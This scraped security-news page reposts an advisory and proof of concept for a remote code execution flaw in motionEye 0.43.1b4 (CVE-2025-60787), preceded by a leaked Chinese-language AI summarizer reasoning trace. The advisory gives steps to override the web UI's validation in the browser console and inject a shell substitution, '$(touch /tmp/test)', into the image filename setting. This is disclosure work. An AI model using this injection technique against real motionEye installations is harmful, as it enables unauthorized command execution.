motionEye 0.43.1b4 RCE
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户给的是一篇关于motionEye漏洞的详细文章,里面提到了RCE(远程代码执行)的漏洞,还有PoC和修复建议。 首先,我得理解文章的主要内容。文章指出motionEye 0.43.1b4版本存在一个漏洞,可以通过绕过客户端验证来执行任意代码。攻击者可以在配置文件中注入shell命令,当motion重启时执行这些命令。 接下来,用户要求总结在100字以内,并且不要以“文章内容总结”这样的开头。所以我要简洁明了地描述漏洞、影响版本、攻击方式以及修复建议。 然后,我需要确保语言准确且符合要求。可能的结构是:指出漏洞名称、影响版本、绕过验证的方法、注入的位置以及可能导致的结果,最后提到修复措施。 最后,检查字数是否在限制内,并确保信息完整且清晰。 </think> motionEye 0.43.1b4 存在 RCE 漏洞,可通过绕过客户端验证在配置中注入 shell 代码。攻击者可利用此漏洞执行任意命令,修复需对配置参数进行过滤或白名单处理。 2026-2-14 20:32:29 Author: cxsecurity.com(查看原文) 阅读量:0 收藏

# Exploit Title: motionEye 0.43.1b4 - RCE # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC) # Filename: motioneye_rce_poc_edb.txt # Author: prabhatverma47 # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11 # Affected Versions: motionEye <= 0.43.1b4 # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 # # Short description: # Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation # function. Arbitrary values (including shell interpolation syntax) can be saved into the # motion config. When motion is restarted, the motion process interprets the config and # can execute shell syntax embedded inside configuration values such as "image_file_name". # # Safe PoC: creates a harmless file /tmp/test inside container (non-destructive). # # Environment setup: # 1) Start the motionEye docker image: # docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge # # 2) Verify version in logs: # docker logs motioneye | grep "motionEye server" # Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable) # # 3) Access web UI: # Open http://127.0.0.1:9999 # Login: admin (blank password in default/edge image) # # Reproduction (manual + safe PoC): # A) Bypass client-side validation in browser console: # 1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I). # 2) In the Console tab paste and run: # # configUiValid = function() { return true; }; # # This forces the UI validation function to always return true and allows any value # to be accepted by the UI forms. # # B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply): # $(touch /tmp/test).%Y-%m-%d-%H-%M-%S # # After applying, the PoC triggers creation of /tmp/test inside the motionEye container # (the "touch" is executed when motion re-reads the config / motionctl restarts). # # C) Verify from host: # docker exec -it motioneye ls -la /tmp | grep test # # Expected result: # /tmp/test exists (created with the permissions of the motion process). # # Notes / root cause: # - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename), # which are later parsed by motion and interpreted as filenames – shell meta is executed. # - Fix: sanitize/whitelist filename characters (example sanitization provided in README). # # References: # - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter # - motionEye upstream: https://github.com/motioneye-project/motioneye # - OSV/GHSA advisories referencing this issue (published May–Oct 2025) # - NVD entries: CVE-2025-60787



 

Thanks for you comment!
Your message is in quarantine 48 hours.


文章来源: https://cxsecurity.com/issue/WLB-2026020014
如有侵权请联系:admin#unsafe.sh